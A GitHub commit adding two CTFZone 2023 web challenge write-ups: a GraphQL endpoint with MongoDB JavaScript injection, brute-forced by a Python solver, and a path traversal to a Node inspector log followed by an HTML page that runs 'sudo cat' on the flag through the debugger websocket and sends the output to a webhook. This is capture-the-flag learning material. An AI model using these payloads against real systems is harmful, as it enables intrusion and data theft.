-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
CTFZone 2023 web/raw love and web/under construction writeups (#2)
* ctfzone-23 Bounty-the-b4r * Fixed typos * Added raw love and under construction writeups --------- Co-authored-by: Arsenii es3n1n <[email protected]> Co-authored-by: jackson4800 <[email protected]>
- Loading branch information
1 parent
d915222
commit 9f66391
Showing
3 changed files
with
263 additions
and
5 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,176 @@ | ||
--- | ||
title: "ctfzone23 web/Raw love" | ||
publishDate: "13 Aug 2023" | ||
description: "Author: cpp.dog" | ||
tags: ["web", "ctfzone23"] | ||
--- | ||
|
||
#### Description | ||
Very soon we will update the functionality, we are already working on its security, so that no one would steal my secret. In the meantime, come have fun! | ||
|
||
\- Admin | ||
|
||
#### Code inspection | ||
|
||
Here's the most important code of our challenge. | ||
|
||
`/static/js/FillForm.jsx` | ||
```js | ||
const response = await axios.post('/api', { | ||
query: ` | ||
mutation ($description: String, $contact: String) { | ||
fill_form(description: $description, contact: $contact) { | ||
status | ||
} | ||
} | ||
`, | ||
variables: { description, contact } | ||
},{ | ||
headers: { | ||
Authorization: `Bearer ${token}` | ||
}, | ||
}); | ||
``` | ||
|
||
Since we have found GraphQL endpoint, let's take a look at its schema. | ||
|
||
```bash | ||
curl -X POST -d '{ | ||
"query": "{__schema{types{name,fields{name}}}}" | ||
}' \ | ||
-H "Content-Type: application/json" \ | ||
-H "Authorization: Bearer [REDACTED]" \ | ||
https://raw-love.ctfz.one/api/ | ||
``` | ||
|
||
```json | ||
{ | ||
"name": "Query", | ||
"fields": [ | ||
{ | ||
"name": "profile" | ||
}, | ||
{ | ||
"name": "filterprofile" | ||
}, | ||
{ | ||
"name": "like" | ||
}, | ||
{ | ||
"name": "myprofile" | ||
} | ||
] | ||
} | ||
``` | ||
|
||
What is `filterprofile` query? It is not used inside sources. Let's get its arguments. | ||
|
||
```bash | ||
curl -X POST -d '{ | ||
"query": "fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef }}fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue}fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }}query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue } } }}" | ||
}' \ | ||
-H "Content-Type: application/json" \ | ||
-H "Authorization: Bearer [REDACTED]" \ | ||
https://raw-love.ctfz.one/api/ | ||
``` | ||
|
||
```json | ||
{ | ||
"name": "filterprofile", | ||
"description": null, | ||
"args": [ | ||
{ | ||
"name": "description", | ||
"description": null, | ||
"type": { | ||
"kind": "SCALAR", | ||
"name": "String", | ||
"ofType": null | ||
}, | ||
"defaultValue": null | ||
} | ||
], | ||
"type": { | ||
"kind": "LIST", | ||
"name": null, | ||
"ofType": { | ||
"kind": "OBJECT", | ||
"name": "Profile", | ||
"ofType": null | ||
} | ||
}, | ||
"isDeprecated": false, | ||
"deprecationReason": null | ||
} | ||
``` | ||
|
||
Let's test this request with the `description` argument equal to the administrator's description. | ||
|
||
```bash | ||
curl -X POST -d '{"query":"query { filterprofile(description:\"Administrator\") { username } }"}' \ | ||
-H "Content-Type: application/json" \ | ||
-H "Authorization: Bearer [REDACTED]" \ | ||
https://raw-love.ctfz.one/api/ | ||
``` | ||
|
||
```json | ||
{ | ||
"data": { | ||
"filterprofile": [ | ||
{ | ||
"user": "Admin" | ||
} | ||
] | ||
} | ||
} | ||
``` | ||
|
||
So it returns users by their description. Let's try passing the character `'`. | ||
|
||
```json | ||
{ | ||
"data": { | ||
"filterprofile": null | ||
} | ||
} | ||
``` | ||
|
||
We found the injection! The server appears to be using MongoDB, so we need a payload that looks something like this: | ||
```js | ||
;return (this.secret.substr(0, 8) == 'ctfzone{'; var _ = ' | ||
``` | ||
#### Solver code | ||
```py | ||
import requests | ||
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}" | ||
flag ="ctfzone{" | ||
while True: | ||
for char in charset: | ||
temp_flag = flag + char | ||
print(f'trying {temp_flag}') | ||
data = requests.post("https://raw-love.ctfz.one/api/", json={ | ||
"query": """ | ||
query { | ||
filterprofile(description:\"%s\") { | ||
username | ||
description | ||
contact | ||
id | ||
photo | ||
} | ||
} | ||
""" % f"Administrator'; return (this.secret.substr(0, {len(temp_flag)}) == '{temp_flag}'); var abcds='1" | ||
}, headers={ | ||
"Authorization": "Bearer [REDACTED]", | ||
"Content-Type": "application/json", | ||
}) | ||
if '"username":"Admin",' in data.text: | ||
flag = flag + char | ||
print(flag) | ||
``` | ||
#### Flag | ||
`ctfzone{rM7_E_EFBBxkkli4Tk9a}` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,82 @@ | ||
--- | ||
title: "ctfzone23 web/Under construction" | ||
publishDate: "13 Aug 2023" | ||
description: "Author: cpp.dog" | ||
tags: ["web", "ctfzone23"] | ||
--- | ||
|
||
#### Description | ||
We started the development of a new task but havent completed it yet. | ||
|
||
The debug version works on the site. We believe there is no way to get the flag now, but you can try! | ||
|
||
#### Code inspection | ||
|
||
Here's the most important code of our challenge. | ||
|
||
`Dockerfile` | ||
```Docker | ||
RUN echo "ctfzone{REDACTED}" > /root/flag.txt | ||
RUN echo "ubuntu ALL = (root) NOPASSWD: /bin/cat /root/flag.txt" >> /etc/sudoers | ||
... | ||
CMD ["bash","-c","node --inspect app.js 1>app-logs.out 2>app-logs.err"] | ||
``` | ||
|
||
So we can't read `/root/flag.txt` without running `sudo cat`, also the output of `node --inspect` is written to `app-logs.err`. Let's try to access it. | ||
|
||
```bash | ||
curl --path-as-is http://web-under-construction-ins1.ctfz.one/../app-logs.err | ||
|
||
Debugger listening on ws://127.0.0.1:9229/0937204c-d978-4306-87db-a0915561d563 | ||
For help, see: https://nodejs.org/en/docs/inspector | ||
``` | ||
|
||
That's good, we can access the devtools endpoint to execute any code we want, including bash commands. | ||
|
||
```bash | ||
curl 'http://web-under-construction-ins1.ctfz.one/browser?url=https://cpp.dog/static/ctf.html' | ||
``` | ||
|
||
#### XSS code | ||
```html | ||
<!DOCTYPE html> | ||
<html> | ||
<head> | ||
</head> | ||
<body> | ||
<script> | ||
window.ws = new WebSocket('ws://127.0.0.1:9229/0937204c-d978-4306-87db-a0915561d563') | ||
ws.onerror = (e) => { | ||
fetch("https://webhook.site/[REDACTED]?e=" + btoa(e.toString())) | ||
} | ||
ws.onmessage = (e) => { | ||
fetch("https://webhook.site/[REDACTED]?e=" + btoa(e.data)) | ||
} | ||
ws.onopen = () => { | ||
ws.send(JSON.stringify( | ||
{ | ||
id: 1, | ||
// Eval js code | ||
method: "Runtime.evaluate", | ||
params: { | ||
// This is important for require() | ||
includeCommandLineAPI: true, | ||
expression: ` | ||
(function(){ | ||
cp = require("child_process"); | ||
result = cp.execSync("sudo /bin/cat /root/flag.txt" ); | ||
return new TextDecoder().decode(result); | ||
})();` | ||
} | ||
} | ||
)) | ||
} | ||
</script> | ||
</body> | ||
</html> | ||
``` | ||
|
||
#### Flag | ||
`ctfzone{d3bug_m0d3_1s_c00l_f0r_CTF}` |